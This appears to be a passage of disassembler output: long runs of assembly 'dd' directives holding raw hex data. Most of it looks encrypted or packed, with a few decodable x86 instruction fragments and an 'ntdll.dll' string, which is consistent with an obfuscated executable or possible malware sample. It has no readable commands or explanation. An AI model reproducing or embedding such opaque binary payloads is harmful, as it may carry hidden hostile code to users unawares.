		dd 764246C3h, 21F3F774h, 0DDAAAE2Bh, 335F62DFh,	7AF7F5C2h
		dd 30ADA776h, 0E25F612Ch, 97140EDEh, 5D7BE171h,	0D7795DC4h
		dd 12E08F04h, 5A909714h, 0C2000000h, 0A9CED09Ch, 0E0F22DC1h
		dd 4FEF1412h, 85EB577Ch, 755B5F62h, 0AACD8814h,	0D5607581h
		dd 0F12D016Fh, 0FCD7BE7Bh, 0A2745h, 0ADA37400h,	605E2C30h
		dd 1113DFE3h, 0C8BE9094h, 7C7A474Bh, 5FAEFCFFh,	13179492h
		dd 0C9CD4A44h, 7B7FFCFEh, 0E34B1ABh, 0C4C0187Eh, 0A174795Dh
		dd 1610E02Ch, 12DD03F1h, 6F03EB10h, 0AACFC999h,	0E05D1612h
		dd 0BB312B99h, 1D31Dh, 36E54A00h, 74200BDEh, 0F7C0ACAh
		dd 0AE0E7AE0h, 0DF6B688h, 0D91C1DB0h, 3EB1076h,	1262596Fh
		dd 0D294755Bh, 8B9F2046h, 0A4776EE2h, 0BEAD137Fh, 0D88C9BE7h
		dd 7E51F116h, 0E983E955h, 8B8AB614h, 0CE342EFDh, 726C3C62h
		dd 2721F1F5h, 400A6BB9h, 0F3AA85BEh, 984h, 8D0A00D1h, 40BDBB89h
		dd 0F16E703Ch, 0A8251BEDh, 5CD9D7A4h, 0EFBC0D59h, 0A17074F1h
		dd 5B262AA7h, 8D8DC59h,	0DB6B910Eh, 5DCBA775h, 89FED179h
		dd 0B5B380A6h, 23B7B583h, 5C817F4Dh, 60CCE9BCh,	214D6DFAh
		dd 0E5B5DB75h, 4ADEC6EBh, 929460EEh, 0B31F856Dh, 47C4BE8Dh
		dd 557A7443h, 7BA10767h, 0FD795DD6h, 12E5A73Bh,	0C81F85F1h
		dd 0AA7375E6h, 87567CE8h, 3D0C108Dh, 0E70D5979h, 78FFA34Dh
		dd 0CF9ECE26h, 3A5FC523h, 4EBCB686h, 0B4059B8Ch, 0ED7E3510h
		dd 3A000008h, 0F2F67369h, 0A5A92624h, 565AD7D9h, 0D118E84h
		dd 0C2C54240h, 5A582594h, 100AD9DDh, 0C2C48F93h, 77714145h
		dd 0DE44D4FAh, 795DCB3Eh, 0B2F2673Ah, 7393EC34h, 0A962F67Fh
		dd 8EB78A36h, 0A32DBC22h, 6F93755Bh, 28BB38A1h,	0E23AA0AFh
		dd 96795B55h, 7EDA6ED4h, 5E2A50BCh, 1CEFDF5Ch, 17258BF7h
		dd 617375F2h, 3D0D339Fh, 0D2929E79h, 21EEC842h,	0B016FE23h
		dd 698FCD4Ah, 927A9F99h, 5E5828FEh, 4FDCF0h, 16CDA8B4h
		dd 860h, 69E6DCADh, 1C999765h, 0CD4A4C18h, 8401F7C9h, 38B5B380h
		dd 0CB986935h, 7D4C50CDh, 37020683h, 0E4B4B835h, 0B7476DEAh
		dd 5DCA8B51h, 65DAAD79h, 73937CA0h, 0BCB6867Fh,	577C4F3Fh
		dd 0FBF5C5EBh, 81F15767h, 0E3755B44h, 0C48FB521h, 764145C2h
		dd 9984F74h, 9F000008h,	980421F4h, 5BBBB732h, 0F217D975h
		dd 5B8BDAFEh, 0A65FA579h, 59475029h, 16066C1h, 0E0930000h
		dd 0EE1315h, 7D110BDAh,	0B9DED8A7h, 163B3505h, 29959762h
		dd 0A73B3103h, 0B5B78286h, 0F316F090h, 25D1F7CFh, 45B7C2DBh
		dd 7F735297h, 0D79DFA1h, 85191BE7h, 52110F75h, 71337F73h
		dd 33EC804Ch, 63E0E2ADh, 6D92945Fh, 0BF8D597Fh,	6C91F7EDh
		dd 1EDAF084h, 0C87F7350h, 25D9FEF8h, 5E385D53h,	0DBA72DE6h
		dd 66CCB4D9h, 8552781Ch, 0E1AE6287h, 0E9E97DE3h, 264C7030h
		dd 5D2AC04Dh, 79441AAEh, 45AB0B77h, 7F73B497h, 2A4BDFA1h
		dd 0D743603Ah, 73B4A371h, 6C37C57Fh, 0F75D456Ah, 4F4F1ED2h
		dd 73B433E9h, 1D83457Fh, 0D3CD9CA0h, 302AFAAEh,	8C8A570Bh
		dd 0E6E8B367h, 0A35CFAC1h, 9BFB9FE9h, 73B4E735h, 3BCF917Fh
		dd 2DFC823Bh, 0E3B2B633h, 5124C4E9h, 0B410C82Eh, 62247F73h
		dd 0A3090FCh, 92A83C3Eh, 755B9DBBh, 877D4FDDh, 7A487A62h
		dd 96F577Ch, 0BFB9888Ch, 320FA9Ah, 0D3E73197h, 0C789795Bh
		dd 8942D6A2h, 0BD3A3403h, 63B91F7Fh, 15795BD3h,	1AE9BF53h
		dd 1690B420h, 735748FBh, 0B0079C87h, 0CB316C37h, 0FBCE6E37h
		dd 59086EDAh, 0DB7373A9h, 0B86FAD13h, 47097323h, 2664E1h
		dd 28103533h, 95292BF6h, 79F6F0BFh, 3CA8AA75h, 0B8A676DCh
		dd 89587323h, 8115D78Fh, 21F4F760h, 0AF329804h,	0D1755B5Fh
		dd 6836EA0Fh, 0F484ED6Ah, 0E7DB001Dh, 7F739335h, 0CF8F488Eh
		dd 93D3096Fh, 0D9657F73h, 9A6143CFh, 760A70E1h,	31C0D0A9h
		dd 45E6BBh, 0E0130000h,	7B7D4812h, 0DCFCF015h, 0C67F7393h
		dd 25F37932h, 7297BB27h, 23970AD3h, 97B36595h, 0AE423465h
		dd 0A7B5F91Ah, 597F7394h, 0C0B5557Bh, 0C134F82Fh, 0C6B9E414h
		dd 0CEFB1A4Dh, 0BF257DCFh, 0FF952459h, 0E02BFFFFh, 0ED7F1610h
		dd 1DF4D4h, 0E92C9569h,	0BE3123A0h, 5B16h, 0D34A6E00h
		dd 2521FFAEh, 2527F325h, 49841800h, 0B3B580A6h,	65865D1Fh
		dd 9840A6CEh, 0E87F7393h, 8EFCEC4h, 962AFE2Eh, 0A6E1783Ah
		dd 52542046h, 935880E6h, 1ADC7F73h, 46A64B86h, 739338E0h
		dd 0E67A3C7Fh, 0AD444210h, 0B4B280A6h, 7300E384h, 0EE82D5ACh
		dd 16DDA28Fh, 0E4000000h, 69001DF4h, 939840A6h,	0CBAB7F73h
		dd 0E01BA634h, 577D1412h, 1214E06Ah, 9323F9EDh,	1FC37F73h
		dd 972B2DF9h, 8C58DE97h, 8EF4EEBEh, 0D73D311h, 7F7393CFh
		dd 0FD13A769h, 7F73834Ch, 0F4830338h, 0E00AFFFFh, 660E4A12h
		dd 63B06DC4h, 1C4280FDh, 462E534Dh, 0F81DF0B2h,	16C62C8Ch
		dd 227F7349h, 56BCCC60h, 755B7577h, 0FD8A15A1h,	78EA1C1Eh
		dd 27F9ED12h, 0A0795BE8h, 5524A15Ah, 61C159A6h,	1Ah, 0AE6195B9h
		dd 9F850B17h, 0C5ADD2D4h, 635D2D5Fh, 87C2563Eh,	1DDh, 21F4E400h
		dd 0C3329804h, 0A5755B86h, 70D0BEE3h, 5B9ED20Ah, 10A46679h
		dd 0F16E6C3Ah, 5B9E81ADh, 9C9E6979h, 0EDBBE11Fh, 0B95B1F25h
		dd 0CE341756h, 0F8DCFC62h, 9658795Bh, 5F612C02h, 0D11B8B3Ah
		dd 3133FF25h, 9090240Ch, 0B88651D7h, 0E1C9EEE8h, 2AFAFE7Bh
		dd 7E4E1430h, 52B81884h, 795BFF8Ah, 9858ECAEh, 3FC57E62h
		dd 9EE9756Fh, 0B12390E9h, 0DA26BBh, 0F4530000h,	6D91FD1Ah
		dd 84AA71Eh, 1550E4E8h,	38E046A6h, 0C27F7393h, 7C3EF6F4h
		dd 0AF72D8E8h, 0E07F7393h, 1BA66900h, 1137FBB6h, 75B04446h
		dd 0AA1610E0h, 92B7B984h, 0EDDB16AAh, 80CD9FFh,	73937AA2h
		dd 0D63CFE7Fh, 1DF40742h, 2C956900h, 3123A0E9h,	3016BEh
		dd 0E6E0000h, 739370A8h, 0AE42047Ch, 1DF473h, 9840A669h
		dd 9C7F7393h, 1BA643DAh, 7D1412E0h, 57DD6A57h, 0F000000h
		dd 939349AFh, 0E3A57F73h, 1DF4144Fh, 2686634h, 2246A66Bh
		dd 176945Ch, 0FFD10396h, 0B95F7509h, 77F7377h, 3A8D0AE3h
		dd 60F41498h, 0A69C3313h, 4882A61Bh, 0CEACFAD3h, 5826FC90h
		dd 80A6C35Ah, 0A68EB3B5h, 0CBF1B312h, 29DD02FCh, 523A5F59h
		dd 0EDEFBAECh, 1DDD1E59h, 0E4FFFFFFh, 0F11610E0h, 0F6736D3Dh
		dd 0A6123306h, 21B5B380h, 92A0AB11h, 0C2755Bh, 0E4937094h
		dd 777277CBh, 0F2261AE3h, 0CD795BB1h, 81815177h, 5BB1FD1Bh
		dd 4FB57779h, 0AEAE422Ah, 4D0178F5h, 6D91C159h,	2FD54E43h
		dd 13FF93E2h, 40h
		dd 421F440h, 0BEAB3298h, 5CD755Bh, 0EF1412DFh, 86479507h
		dd 2FF1795Bh, 6CB0A4C9h, 96795B86h, 0F1A5CAC8h,	29032822h
		dd 0CD3EF8B1h, 0E80ECE87h, 0EF61B1Dh, 44CCAD7Ah, 0AEAC159h
		dd 17000001h, 0AEB280A6h, 73939048h, 7CE2A47Fh,	5DB6F57h
		dd 0A9CF3B35h, 8049DDDBh, 0D5FBFFCCh, 4696080Ah, 0F27F7393h
		dd 0B7A5CA30h, 932BF157h, 8B4D7F73h, 575121F7h,	4F1E4432h
		dd 1BEBC155h, 4066A421h, 9E507573h, 83D0A9BAh, 6BFF65E1h
		dd 731C4F55h, 251FEF7Fh, 0DAD4A4A8h, 167C7B5h, 7F7304DBh
		dd 45079B5Dh, 85E55172h, 7304F91Fh, 25B97B7Fh, 0C28FB515h
		dd 2AF258C4h, 4E7F7304h, 8BE2F88Ch, 39755B32h, 0B07C4813h
		dd 0CCE0C689h, 51395EC4h, 229F61BDh, 0F3F1BEE4h, 9052E6CEh
		dd 2FCCCBDh, 53CA309Ch,	657375E0h, 441137A3h, 678BC946h
		dd 61ACADA0h, 0D5AB3F20h, 0A29C0A08h, 4AB400B7h, 25EB86Fh
		dd 0DAAB0000h, 956367E4h, 4A161A97h, 0F5C7CB48h, 0B17E82FFh
		dd 673336B3h, 4ECBC996h, 4817B4Ah, 0B6333500h, 6BE8E2B2h
		dd 894FB545h, 0AB795DCCh, 13E063D8h, 0C4949815h, 0E90F4DCAh
		dd 1FEA1C1Eh, 7C10F81Dh, 3821F441h, 624A6F69h, 0B32A90FCh
		dd 0C5755BBEh, 36EADE03h, 91795B86h, 6415924Bh,	2EC15944h
		dd 0B2B068CEh, 2C4795Bh, 0F6826Eh, 0A6AF0000h, 0CDA4B582h
		dd 7AD097Bh, 2621A12Bh,	0A97F1379h, 6BADFD9h, 0F3937139h
		dd 0CED2B91h, 0C5877F73h, 63F2C95h, 0CEE4349Ah,	0CE907F73h
		dd 9D6FC68h, 0CCFEE60Bh, 0A16AFE00h, 73D2A7ADh,	17E70D7Fh
		dd 7C10F81Dh, 70DCD6A6h, 14807A4Ah, 73F26EAEh, 0B4480A7Fh
		dd 2C315593h, 738DC480h, 496E6837h, 9167FB61h, 2A2C7C1h
		dd 3A9A062Fh, 21464814h, 0F88FA539h, 9A755B84h,	1D423C0Ch
		dd 3D63CF35h, 634B7072h, 0EBBEAECFh, 82F85ECAh,	0F273757Eh
		dd 0D19EC430h, 754167D3h, 0BABEDF73h, 5B81EFEDh, 25B40124h
		dd 142934Ah, 0BE8F0000h, 79474BC8h, 2EFAFE7Bh, 0D9ABAF2Ch
		dd 956266E3h, 4B171A97h, 32AFAD7Ah, 0E8655F2Eh,	9A1719E4h
		dd 4FCCC696h, 0E5339929h, 8F795DF3h, 13E047BCh,	0C4949815h
		dd 0AF0F4DCAh, 73939349h, 0B3E3A57Fh, 6E067CEEh, 1752E678h
		dd 0F11610E0h, 7736D3Dh, 821614E1h, 0A99E7161h,	0B88016DAh
		dd 315A5B3Ah, 99F965CBh, 1AD70E75h, 61F57197h, 5B5ABC4Bh
		dd 7948D675h, 4DAD197Fh, 5ABA31E7h, 0ED814379h,	0EDE7B7DDh
		dd 0A29C6C70h, 0E90ADD7Dh, 6786177Dh, 0F2B47308h, 4BBAE84h
		dd 8C431EB4h, 0A0h, 0A9261CEDh,	5CD9D7A5h, 0D8A8C58h, 0C4413709h
		dd 78F5F3C0h, 0BD82975h, 0BD8C900Dh, 774246C3h,	24F4F875h
		dd 0F787AD2Ah, 5DF34B91h, 0A51AED79h, 693821F4h, 0B4D9D3A3h
		dd 940066CCh, 214EB52Eh, 0E80DCF75h, 0CE9E6434h, 0B3F16ED4h
		dd 53B9C18Dh, 795DD685h, 0F387EDAFh, 2E534D1Dh,	0F6750D3Ah
		dd 9E57CF72h, 0D14E4818h, 9703FDCDh, 7B0BD137h,	6B2D72A0h
		dd 486D6B39h, 4F03CC60h, 9662877Dh, 0F3C34902h,	0A8787CF9h
		dd 11D289AEh, 0D9000000h, 0EAB280A6h, 0C58D34D5h, 12379D4Bh
		dd 1A67962Ah, 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h
		dd 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch,	0D4F9F7C5h
		dd 700D68FFh, 14890000h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 68243C89h, 1DCDh, 68243489h, 62E46F5h
		dd 81243C8Bh, 4C4h, 348B5400h, 4C48124h, 51000000h, 4E895957h
		dd 348B5908h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		dd 51243C8Bh, 0C181E189h, 4, 8704C183h,	0E95C240Ch, 0FFFA1DB1h
		dd 409E25CEh, 0B8B8D7D8h, 3062E61h, 85C650C5h, 6280D25h
		dd 17256847h, 0B5FFCF38h, 6282DD5h, 3BBB858Dh, 0D0FF0628h
		dd 858DD88Bh, 6282FD5h,	1046850h, 0D3FF0000h, 0D2585C6h
		dd 68530628h, 8307F8BFh, 2DD5B5FFh, 858D0628h, 6283BBBh
		dd 8589D0FFh, 62E44C3h,	3311BD83h, 0F000628h, 0B84h, 259D8B00h
		dd 0E906280Eh, 5, 0BBh,	1006800h, 0B58D0000h, 62E44C7h
		dd 95FF5356h, 6280201h,	44C7B58Dh, 0F003062Eh, 1E9h, 3E804E00h
		dd 9840F5Ch, 80000000h,	850F2F3Eh, 0FFFFFFEDh, 8D0006C6h
		dd 2E44C785h, 95FF5006h, 62E44C3h, 0EAE0FF58h, 3271E945h
		dd 611D7F85h, 517991EEh, 287A16EDh, 6A50D2A4h, 610E69DBh
		dd 9971C656h, 3C5E0B25h, 0FA311A58h, 0C67E7A97h, 58491321h
		dd 0BA7BD493h, 127629FBh, 1D68CB35h, 170EAD32h,	0E11AD67h
		dd 0A3E4210h, 8C2D44A9h, 0A234CA9Bh, 0B80006FFh, 3D7DE467h
		dd 0A1373E5Ch, 53316671h, 9514C32Fh, 1C2D18C7h,	822FA2C4h
		dd 344D5A8Fh, 48024B4Bh, 6232401Dh, 0B4656773h,	0E85BF5ABh
		dd 8, 886214D1h, 31D0B5E8h, 0C6E98051h,	7E95E59h, 80000000h
		dd 55B2A897h, 0C681701Dh, 59E9h, 1638B8h, 70CF8100h, 8B781297h
		dd 77D1811Eh, 81419B4Ch, 404639EBh, 0CF8B6613h,	0B6F2F381h
		dd 0AE85056h, 0D000000h, 3B824DFAh, 0C5056387h,	0BE941h
		dd 0E49D0000h, 341572D9h, 985804B5h, 0EB8159A7h, 6E72AB64h
		dd 17810Fh, 0E9600000h,	0Eh, 7D74C436h,	0FB1A453Eh, 174FE9F5h
		dd 6160E910h, 0EE95361h, 0A8000000h, 98FC2594h,	0A66BA53Bh
		dd 70F51053h, 0F068F9Ah, 0EE83D1B7h, 0FEC68001h, 0F4E4E4Eh
		dd 1088h, 9E800h, 0DD6F0000h, 3727525Ch, 0FC79ADACh, 1E8815Ah
		dd 0F000000h, 1C85h, 77E98100h,	0E96D8312h, 39h, 0F4BE5DC8h
		dd 75D697CEh, 0C59AAE95h, 43C04D20h, 13840F00h,	51000000h
		dd 0CE9h, 3133F800h, 1618E3B6h,	0A83F9EEAh, 28E959AAh
		dd 78FFFFFFh, 451458Fh,	0F3E692C4h, 9E812h, 0B9990000h
		dd 0BB64E988h, 6687C846h, 0BA5BC88Bh, 345D8BCFh, 5E8CC381h
		dd 0F88B0000h, 0D0249BEh, 37F68154h, 0FF540D15h, 0DA816633h
		dd 6658C788h, 0F081FA8Bh, 244C72F7h, 0E759C081h, 0BF6676A1h
		dd 0C081EE54h, 3CEFC561h, 0CE8h, 67F3B100h, 3AE20997h
		dd 7E28A566h, 5AFE8B22h, 66038F50h, 839FA3BAh, 8E0F03EBh
		dd 2, 0E84B0FB2h, 0Ch, 0A186EDCBh, 13ED4646h, 4EAFC768h
		dd 1EE8159h, 0F000000h,	0FFFF9A85h, 8E9FFh, 8FA70000h
		dd 0C669EC9Ah, 55E9FD0Dh, 56000000h, 9329E2D4h,	9DE61D8Ch
		dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h,	0B98003B2h
		dd 0FEh, 0Dh dup(0)
		dd 66CE9h, 66986800h, 62E9062Eh, 68FFFA1Ah, 62E6760h, 0FA1A58E9h
		dd 680C68FFh, 4EE9062Eh, 68FFFA1Ah, 62E68ECh, 0FA1A44E9h
		dd 69EA68FFh, 3AE9062Eh, 68FFFA1Ah, 62E6A9Ah, 0FA1A30E9h
		dd 6D6334FFh, 201EECF0h, 0D1D39FA3h, 887E5054h,	3C3A070Bh
		dd 1FEEBCBFh, 0D3D75452h, 898D0A04h, 3B3FBCBEh,	0CEF4716Bh
		dd 0F600D83Eh, 6134795Dh, 18DDECh, 0E0E40000h, 3F11610h
		dd 81150BDDh, 64E1DBABh, 7393FC20h, 393B067Fh, 21F453BCh
		dd 14389804h, 0B28A04h,	0D2E87CD6h, 755B40BBh, 4FAF1BDDh
		dd 5B4033E9h, 0EF834579h, 40EE3226h, 93D9795Bh,	21C5DDAh
		dd 479AC15Ah, 0F2000002h, 6E02FCCCh, 78DE533h, 7B714334h
		dd 7443A915h, 7E755B86h, 0DA2C50BCh, 0C5070C3Ah, 0AACFD19Dh
		dd 98C85CC2h, 9FDBF72h,	8BA87B3Dh, 8359BF1Fh, 0B5B524EDh
		dd 355A5C27h, 4353E74Dh, 0CF98EDDh, 126E8BFh, 0F9658E61h
		dd 21EEF993h, 6DD99BA5h, 7D7747h, 0DCFC62C2h, 58A9D96Ah
		dd 5C2C0296h, 0E65F462h, 2E096EF9h, 4A677h, 81774800h
		dd 34320004h, 0E5E7B3B7h, 9C926468h, 504E1B1Fh,	3382D0D3h
		dd 0E7EB6866h, 9DA11E18h, 4F53D0D2h, 0E208857Fh, 0F52CEC52h
		dd 7548795Dh, 1610E000h, 557E51F1h, 0A90883E9h,	682A755Bh
		dd 2D89ADEBh, 7F4E6303h, 76B3CD0h, 2D99BA8Dh, 0D1076DCDh
		dd 63795B98h, 98E7359Bh, 0CF91795Bh, 0F8BFD569h, 0FA73738Dh
		dd 7CA19F6Ch, 98926294h, 99258B73h, 87855379h, 314A7A62h
		dd 86B8E131h, 0CF687E12h, 0C70B8137h, 0FD63CFF4h, 0D1B52F6Eh
		dd 6E893054h, 33028515h, 9B141EE0h, 9B2F959Dh, 0B8587D3Fh
		dd 0E564F6E5h, 0F9D77B16h, 0A7C12793h, 0C9DE48C7h, 0A5759B07h
		dd 5A2A2EABh, 0E671F260h, 22FD0911h, 3DE6Bh, 0B9AF8000h
		dd 6C6A383Ch, 1D1FEBEFh, 0D4CA9CA0h, 88865357h,	6B5A080Bh
		dd 1F23A09Eh, 0D5D95650h, 878B080Ah, 1A40BDB7h,	0F4F4248Ah
		dd 0AD80795Dh, 0B480A638h, 78481EB2h, 0E6B9597Eh, 0ACEB51BDh
		dd 0C6755BB1h, 0C4978704h, 73D3339Fh, 5BB1CF0Dh, 6DDD6979h
		dd 4A6F9B2Bh, 0BFD569CFh, 730926FFh, 6FCF3BFDh,	68B27E49h
		dd 4B167A6Eh, 0B76B90F6h, 1783E9EBh, 25D26BB1h,	0B74B0D73h
		dd 0AB1111E1h, 7325D26Dh, 73DF4507h, 0EB7F814Dh, 30F6C6CAh
		dd 5B43685Eh, 5D30D0F5h, 8366CC38h, 0F5790D1Fh,	824AC533h
		dd 0EBC6AA2Dh, 33234h, 0D03D400h, 0C0BE8C90h, 71733F43h
		dd 281EF0F4h, 0DCDAA7ABh, 0BF0E5C5Fh, 7377F4F2h, 292DAAA4h
		dd 0DBDF5C5Eh, 6E94110Bh, 0FBA078DEh, 1D4795Dh,	0AE80A68Ch
		dd 17AB93B8h, 49AD7141h, 0EDF35F81h, 0A8486DD3h, 1A14E4D5h
		dd 0D3E248B4h, 15755B0Bh, 4ECA4289h, 1F4F8855h,	0A89A52E2h
		dd 0C13EA48Ah, 1BBBAh, 92E5C100h, 9A062F02h, 9304D43Ah
		dd 6E307F73h, 5564CADAh, 9F755B86h, 0D13151DDh,	5B9EAD6Bh
		dd 3AD4F79h, 9E28D3Fh, 0E5FB8F51h, 6C181EF3h, 9DBCC9Fh
		dd 6F3AEE13h, 0FA60486Dh, 94047ECAh, 0E74E0FCh,	13953CA2h
		dd 0CD8F8E3Eh, 103508A8h, 0A4223EA4h, 844674D3h, 5C22F218h
		dd 81698E90h, 7A0EF61Bh, 7A74446Ah, 6329F9FDh, 89719698h
		dd 0C440B523h, 0D1ACBFEAh, 2521Ah, 2D23F400h, 0E0DEACB0h
		dd 91935F63h, 483E1014h, 0FCFAC7CBh, 0DF2E7C7Fh, 93971412h
		dd 494DCAC4h, 0FBFF7C7Eh, 8EB4312Bh, 0FB4098FEh, 21F4795Dh
		dd 4A10E0ACh, 0F51A807Ah, 0F5618255h, 0A1A36F95h, 0A97CF70Dh
		dd 0DC9E755Bh, 7E16605Fh, 0B81E8AABh, 7373AF81h, 7FA531F3h
		dd 1C5DC7Ah, 2A96BF92h,	0BDF58D06h, 2658CB7Ah, 50385D57h
		dd 9F46ACBCh, 99EE6926h, 79456BD7h, 768C4777h, 0FCBE9C40h
		dd 51B19F68h, 4D489B2Dh, 0B224C0CEh, 0DE29316Ah, 0F6B84C0Eh
		dd 72960223h, 5B2DE903h, 28584065h, 34C878D0h, 3E64C424h
		dd 664E7371h, 296224F4h, 0FA8E50DEh, 49588E4h, 0BE2AECD4h
		dd 4098FE5Eh, 7AD8F5F3h, 0A38BB0AAh, 918F5DEBh,	0F1C1972Bh
		dd 0C52B8BF7h, 0D8F5F317h, 0AACB5F21h, 5B6D486Ch, 0A3D3D19Fh
		dd 0AF150243h, 0D8F50B69h, 4FE3490Bh, 41AFA979h, 1FD56CC2h
		dd 549C532Eh, 0F6000001h, 0AEB22F25h, 6165E2E0h, 12169395h
		dd 0C9CD4A40h, 7E81FEFCh, 1614E1D0h, 0CCC69599h, 7E804B4Fh
		dd 332DFD01h, 9A0090B6h, 795DFA42h, 0E0AE23F6h,	51F11610h
		dd 83E9557Eh, 755BB1D4h, 0B61F9C5Eh, 980421F4h,	216E0232h
		dd 389E6675h, 795DF6E0h, 6CD294h, 0A4100ADAh, 90B5AF7Eh
		dd 0EFF314A8h, 6000251Fh, 9CFC688Dh, 10DCAA76h,	9B01E90Eh
		dd 0BD5F107h, 7537730Fh, 1913E309h, 582A89ADh, 0D013F436h
		dd 0B7DD1B3Ch, 16C8EDE7h, 0C960384Ah, 45D93F2Ch, 80A59F6Fh
		dd 7CE80DE0h, 7DDB716h,	0B11FE179h, 0AAD77A48h,	0A402B994h
		dd 46000000h, 0FE027F75h, 0B1B53230h, 6266E3E5h, 191D9A90h
		dd 0CED14E4Ch, 66643180h, 1C16E5E9h, 0CED09B9Fh, 837D4D51h
		dd 0EA50E006h, 795DF932h, 0F4FE7346h, 32980421h, 75216E18h
		dd 9E8AA4C8h, 91B12F3Ch, 32FB1E61h, 0B4485564h,	0BD719658h
		dd 5187EDEDh, 0E3795D86h, 3A3EBB21h, 574B706Ah,	0AAAEC6EAh
		dd 0B137F068h, 666AE7E1h, 89779C96h, 4615C329h,	5D1F4A89h
		dd 2B21F3C9h, 0EDA63A06h, 1D19767h, 96F6D3Bh, 522226A3h
		dd 147C3358h, 83000000h, 0E1056587h, 0C6F70249h, 0ECE4073h
		dd 2A7F7384h, 0E099D468h, 40F4190Fh, 9D517670h,	0F7ABD0D2h
		dd 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh,	0C5799EA0h
		dd 0FFD4F9F7h, 5B7868h,	24148900h, 3C7468h, 243C8900h
		dd 8904EC83h, 5152242Ch, 88713B68h, 0D1F75940h,	7C40E981h
		dd 0CA896E3Bh, 7830BF59h, 0D729576Ah, 6535685Ah, 24890000h
		dd 24048124h, 4, 0B951505Dh, 8,	159C889h, 583889E8h, 5D2434FFh
		dd 8B04C483h, 8952243Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 1407E95Ch, 0C794FFFAh, 0F0C17DBh, 6B63B8F8h,	0C503062Eh
		dd 0AB2EE0FFh, 67647D43h, 0A34622E7h, 0A8E35C55h, 0AAA85B01h
		dd 0DE875ABh, 0EB000000h, 0CFB3A0C9h, 0D50F1FEFh, 95360899h
		dd 512FC281h, 0F5F585Ah, 0C781F7B7h, 6C17h, 0AE9h, 0C266D100h
		dd 0CCF7C10Dh, 2BC75CA0h, 63D681C0h, 8B75AC45h,	0BE66070Ch
		dd 0E981C061h, 0A83C5AAh, 9BE981FCh, 0F42AB6Ch,	80h, 40E98100h
		dd 0F5E446Ah, 8051F2BFh, 48F40F6h, 0E6816607h, 0BF0FFC8Eh
		dd 0CE881DAh, 0F511E6BFh, 0BF08C081h, 820F11E6h, 5, 0DF53DEBEh
		dd 70F8813Ah, 0FFFFF94h, 0FFFFAA85h, 35E9F5FFh,	0DE000000h
		dd 648595h, 0Ch	dup(0)
		dd 4ECE9h, 6DEB6800h, 0AE9062Eh, 68FFFA13h, 62E6E67h, 0FA1300E9h
		dd 6FD168FFh, 0F6E9062Eh, 0FAFFFA12h, 0B2B63329h, 6569E6E4h
		dd 161A9799h, 0CDD14E44h, 82850200h, 1A18E5D4h,	0D0CA999Dh
		dd 82844F53h, 37310105h, 9E0494BAh, 795DFF7Eh, 0A6B227FAh
		dd 1FB3B580h, 12787C49h, 7F7393CAh, 2146AC6Eh, 26A39D6Dh
		dd 0D6426336h, 5B80FD70h, 0A50B6B75h, 795B8077h, 4FAB3F01h
		dd 0A074688Dh, 1B795B80h, 6E1CA1C5h, 475F69B4h,	0B5494715h
		dd 0FA7FFCB5h, 0BCC1595Bh, 31Fh, 0B580A6E9h, 74A68EB3h
		dd 9E86ABA5h, 1230390Ah, 938C4CB2h, 0E6A87F73h,	98BD9052h
		dd 91A8CC2Ch, 9CE43DBEh, 5344ADEh, 0BB755B71h, 0A5CAC895h
		dd 978B51B7h, 0EBAD795Ah, 0D395F185h, 69662147h, 0CFA26431h
		dd 44143AA6h, 0E83C5680h, 6DD3D655h, 8463C9D9h,	3A76D501h
		dd 7DE6ED16h, 58EC3816h, 75153AFCh, 0AF1581A2h,	7CED6536h
		dd 0C6269254h, 0B2D7D1A0h, 0CDCB98CAh, 99936339h, 4E48181Ch
		dd 8D9111E0h, 0BC29DB7h, 2F3h, 0B12E24F5h, 64E1DFADh, 15929460h
		dd 0CC493F11h, 80FDFBC8h, 13E0D17Dh, 0C5949815h, 7F4A4ECBh
		dd 2CFC007Dh, 0FF8FB532h, 5DFE4399h, 0AD22F579h, 465382A6h
		dd 897B8DFFh, 436033F5h, 81DD71D7h, 658B7521h, 0AA069A98h
		dd 0BC884A1Ch, 47AD95BAh, 68D43A22h, 0FA777542h, 62B29F6h
		dd 740AF418h, 0D875AC1Ch, 11A50B0Dh, 5C86C6FBh,	1812E279h
		dd 7CEA91AAh, 0CB825DBEh, 277h,	35B2A879h, 0E8656331h
		dd 991618E4h, 50CDC395h, 4817F4Ch, 97645501h, 49181C99h
		dd 3CED24Fh, 0B0808401h, 831339B6h, 5DFDFF1Dh, 31A67979h
		dd 98FE21F4h, 7F739340h, 60C632F4h, 7F7393B8h, 2894FABCh
		dd 21666CC2h, 0A9CE9075h, 5DFF63B5h, 0E2065C79h, 0E1879EAh
		dd 0D6D66A01h, 0AFD9A01Dh, 0B0DDC15Fh, 0A000001h, 0AA1610E0h
		dd 24B8B684h, 13D7A75Bh, 40D30FA1h, 0DB58BE4Dh,	8FF518EBh
		dd 7F738649h, 57C329EBh, 5B87E6F1h, 21460875h, 5B85EB2Dh
		dd 5A7ED479h, 7869C3D9h, 0DEDE72BBh, 0EAD1A825h, 52E5C159h
		dd 3D000000h, 54A177DDh, 11D3795Bh, 54993FA5h, 0D99B795Bh
		dd 21F40A45h, 0A6729804h, 65977FA4h, 0F6069A98h, 5BBE0990h
		dd 44692B75h, 5B868C50h, 0F8B1F779h, 5943FE7Bh,	507094C1h
		dd 110FDC15h, 5BD404ECh, 83E9552Ah, 795BA955h, 9D891DDFh
		dd 0D5h, 1610E0CAh, 365786AAh, 0C3F1203h, 2EFBAF78h, 0DE14C42Ah
		dd 5E207F73h, 4F1FD3F8h, 9BC0BA89h, 74284DB3h, 0E33EE0A4h
		dd 0BCE33CD0h, 0F8C4EA56h, 55E9D1F6h, 0F12F034h, 28F87F73h
		dd 0EEC1B12Eh, 6B3559C5h, 76B27D4Bh, 1EBE2490h,	1A7F7395h
		dd 4EB4C458h, 755D36C1h, 8FB521E3h, 4347C4C2h, 270A7876h
		dd 0B3BE7956h, 10D21D8h, 3E0F0000h, 0F9C7CB48h,	0AE7A7EFBh
		dd 592B2FACh, 15E2E663h, 0CB979A17h, 0B22F2DFAh, 68E5DFAEh
		dd 1A979964h, 0CF4C4616h, 65B319A9h, 0F795DFCh,	13E0C73Ch
